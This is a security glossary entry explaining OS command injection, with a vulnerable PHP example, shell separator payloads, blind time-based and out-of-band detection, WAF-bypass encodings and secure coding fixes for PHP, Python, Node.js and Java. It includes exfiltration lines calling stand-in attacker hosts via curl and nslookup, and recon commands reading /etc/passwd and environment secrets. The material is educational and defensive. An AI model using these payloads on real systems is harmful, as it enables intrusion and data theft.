Skip to content

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Schwachstellenklassen Glossary

Command Injection - OS-Befehlseinschleusung

Command injection occurs when user input is passed unfiltered to operating system commands. Attackers can inject their own OS commands and execute them on the server. Typical vectors: shell functions in PHP, Python subprocess with `shell=True`, Node.js shell calls. Impact: complete system compromise. Protection: never use shell calls with user input, use parameterized commands, and apply least privilege for processes.

Command Injection (also known as OS Command Injection) is a critical class of vulnerabilities in which user input is passed unfiltered to operating system shell commands. It is categorized as OWASP A03:2021 (Injection) and directly leads to Remote Code Execution (RCE)—the worst possible outcome of a web vulnerability.

The Basic Principle

Vulnerable code (PHP example):

// Ping function for network diagnostic tool:
$host = $_GET['host'];
$output = shell_exec("ping -c 1 " . $host);  // UNSAFE!
echo $output;

Normal request:
  GET /ping?host=8.8.8.8
  → Executed: ping -c 1 8.8.8.8  ✓

Attack – Semicolon separator:
  GET /ping?host=8.8.8.8; id
  → Executed: ping -c 1 8.8.8.8; id
  → Output: PING... ; uid=33(www-data)...
  → Two commands executed!

Additional shell operators:
  ;     Semicolon: always executes the second command after the first
  &&    AND: executes the second only if the first succeeds
  ||    OR: executes the second only if the first fails
  |     Pipe: Output of the first as input to the second
  $()   Command substitution: $(id)

All operator variations (URL-encoded):
  ;id         → Direct second command
  &&id;        → If ping succeeds, then id
  ||id        → If ping fails, then id
  |id         → Pipe to id
  %0aid       → Newline + id (URL-encoded \n)

Blind Command Injection

Blind Command Injection (no output visible):

Problem: Command output not visible in response
Solution: Out-of-band techniques

Time-Based Detection:
  # Sleep command → Response is measurably delayed:
  host=8.8.8.8; sleep 5
  → Response arrives after 5+ seconds → Injection confirmed!

  Ping-based (cross-platform):
  ; ping -c 5 127.0.0.1  (Linux: 5 pings = ~5 seconds)
  & ping -n 5 127.0.0.1  (Windows: 5 pings)

DNS Exfiltration (Out-of-Band):
  # Use Burp Suite Collaborator URL:
  ; nslookup $(id).attacker-controlled.burpcollaborator.net
  or:
  ; curl http://$(id).attacker.com/

  → DNS request contains command output as a subdomain!
  → Command output exfiltrated without HTTP response access

HTTP Exfiltration:
  ; curl -s http://attacker.com/?data=$(whoami | base64)
  → Output exfiltrated via HTTP parameter

Context: also possible in headers, cookies, XML, JSON!
  User-Agent: Mozilla; id
  Cookie: session=abc; id
  XML: <host>8.8.8.8; id</host>
  JSON: {&quot;host&quot;: &quot;8.8.8.8; id&quot;}
  → Anywhere user input ends up in shell commands!

Platform Differences

Linux vs. Windows Command Injection:

Linux/Unix:
  Command separators: ; | &amp;&amp; || \n $()
  Useful commands:
    id                          → current user
    whoami                      → username
    uname -a                    → OS version
    ls /                        → root directory
    cat /etc/passwd             → user list
    env                         → environment variables (API keys!)

Windows:
  Command separators: &amp; | &amp;&amp; ||
  Useful commands:
    whoami                      → User
    systeminfo                  → System info
    dir C:\                     → Directory
    net user                    → All users
    net localgroup administrators  → Admins
    ipconfig /all               → Network

Context-dependent separators:
  In URL parameters:   %3b (;) %7c (|) %26 (&amp;)
  In JSON strings:     &quot; followed by + separator + command
  In XML:             CDATA escape or encoding

Detection in Penetration Testing

Command Injection Testing:

1. Simple tests (direct output):
   ;id
   &amp;&amp;id;
   |id
   $(id)

   Expected outputs (Linux):
   uid=33(www-data) gid=33(www-data) groups=33(www-data)
   → Injection confirmed!

2. Blind Detection (Time-Based):
   ; sleep 5
   &amp; timeout /T 5  (Windows)
   → Response time &gt; 5s? → Injection!

   In Burp Suite Intruder: Measure response time!

3. Out-of-Band (Burp Collaborator):
   # Generate Collaborator subdomain
   ; curl https://abc123.burpcollaborator.net/
   → Received HTTP request at Collaborator? → RCE!

4. Test in all input fields:
   □ GET/POST parameters
   □ HTTP headers (User-Agent, Referer, X-Forwarded-For)
   □ Cookie values
   □ File names during file upload
   □ JSON/XML fields
   □ Email addresses, hostnames, IPs

5. Test encodings (WAF bypass):
   ;id → %3bid → %253bid (double-encoded)
   ;id → $(id)
   ;{id,} (brace expansion in Bash)

Mitigation Measures

Secure alternatives to shell calls:

PRINCIPLE: Never pass user input into shell commands!
         Instead: Use language-native libraries!

PHP - Instead of shell_exec():
  // INSECURE: shell_exec(&quot;ping -c 1 &quot; . $_GET[&#x27;host&#x27;])

  // CORRECT - Validate input + escapeshellarg():
  $host = filter_var($_GET[&#x27;host&#x27;], FILTER_VALIDATE_IP);
  if (!$host) die(&#x27;Invalid IP address&#x27;);
  // Only process validated IP addresses

  // If a shell call is unavoidable:
  $safe = escapeshellarg($_GET[&#x27;host&#x27;]);
  $output = shell_exec(&quot;ping -c 1 &quot; . $safe);
  // escapeshellarg: encloses with &#x27; and escapes all special characters

Python - Instead of os.system():
  # UNSAFE: os.system(&quot;ping &quot; + user_input)

  # SAFE - subprocess with array, no shell=True!
  import subprocess
  import ipaddress
  try:
    ipaddress.ip_address(user_input)  # IP validation
  except ValueError:
    raise Exception(&quot;Invalid IP&quot;)
  result = subprocess.run(
    [&#x27;ping&#x27;, &#x27;-c&#x27;, &#x27;1&#x27;, user_input],  # Array: no shell parsing!
    capture_output=True, text=True, timeout=5
    # shell=False (default!) → NO shell interpreter!
  )
  # Each element in the array is a separate argument
  # No semicolons, no &amp;&amp;, no | allowed!

Node.js - execFile instead of shell functions:
  const { execFile } = require(&#x27;child_process&#x27;);
  // execFile calls the program DIRECTLY - NO shell!
  // No shell parsing → no injection possible
  execFile(&#x27;ping&#x27;, [&#x27;-c&#x27;, &#x27;1&#x27;, validatedHost], (error, stdout) =&gt; {
    // validatedHost must be validated as an IP address beforehand!
  });

Java:
  // ProcessBuilder: Array-based, no shell
  ProcessBuilder pb = new ProcessBuilder(&quot;ping&quot;, &quot;-c&quot;, &quot;1&quot;, validatedHost);
  pb.start();  // No Runtime.getRuntime().exec(&quot;ping &quot; + host)!

General protective measures:
  □ Whitelist validation: only allowed characters (IP regex, alphanumeric)
  □ Least privilege: Web server process without root privileges!
  □ AppArmor/SELinux: Limit process to allowed syscalls
  □ Sandboxing: Container/chroot for external processes
  □ WAF: Filter known injection patterns
  □ Monitoring: Unexpected processes from web server user → SOC alert
  □ Principle: Avoid shell calls in web applications!
             For Ping/DNS: Use native libraries (Net::Ping, socket)